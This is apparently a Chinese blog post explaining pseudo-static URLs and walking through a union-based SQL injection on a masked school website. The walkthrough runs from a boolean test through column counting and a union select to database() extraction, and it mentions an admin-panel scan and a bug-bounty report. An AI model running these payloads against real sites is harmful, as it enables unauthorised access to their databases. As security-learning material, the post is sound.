伪静态的sql注入

伪静态是什么

在这里插入图片描述

伪静态是相对真实静态来讲的,通常我们为了增强搜索引擎的友好面,都将文章内容生成静态页面,但是有的朋友为了实时的显示一些信息。或者还想运用动态脚本解决一些问题。不能用静态的方式来展示网站内容。但是这就损失了对搜索引擎的友好面。怎么样在两者之间找个中间方法呢,这就产生了伪静态技术。伪静态技术是指展示出来的是以html一类的静态页面形式,但其实是用ASP一类的动态脚本来处理的。
在这里插入图片描述

伪静态验证

既然,我们了解什么是伪静态后,那么我们怎么判断一个网站是静态还是伪静态的呢?
首先我们可以根据网站最后的修改时间来判断一个网站是否为伪静态,那么我们演示一下:

javascript:alert(document.lastModified)

网站的首页

在这里插入图片描述
f12一下,然后输入上方的命令

在这里插入图片描述
回车弹框时间,然后等几秒再来一次,查看时间是否和上次的相同,如果相同就证明是静态的,如果时间和上次不同,则是伪静态的网站。

在这里插入图片描述

注入流程

其实伪静态的站和平常的注入是一样的,接下来就走一下流程!由于不能发出来,所以这里用1.1.1.1代替

网址:https://1.1.1.1/id/1

在这里插入图片描述

https://1.1.1.1/id/1) and 1=1 -- a正确
https://1.1.1.1/id/1) and 1=2 -- a错误

继续判断字段数,发现为6

https://1.1.1.1/id/1) order by 7 -- a 错误
https://1.1.1.1/id/1) order by 6 -- a 正确

然后查看输出点在那个显位

https://1.1.1.1/id/-1) union select 1,2,3,4,5,6 -- a

在这里插入图片描述

可以看到显位是3、4、5然后我们在3的显位输入database()

在这里插入图片描述

然后用御剑跑了一下后台,很幸运的跑到了,但是这里主要是伪静态所以不测试了,直接放弃

在这里插入图片描述

总结

因为是个学校的站,所以本来打算交到edu的,但是提个高危漏洞+1个金币可以白嫖月饼,所以果断提交到盒子。
交流学习QQ:3075999532
微信公众号:
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值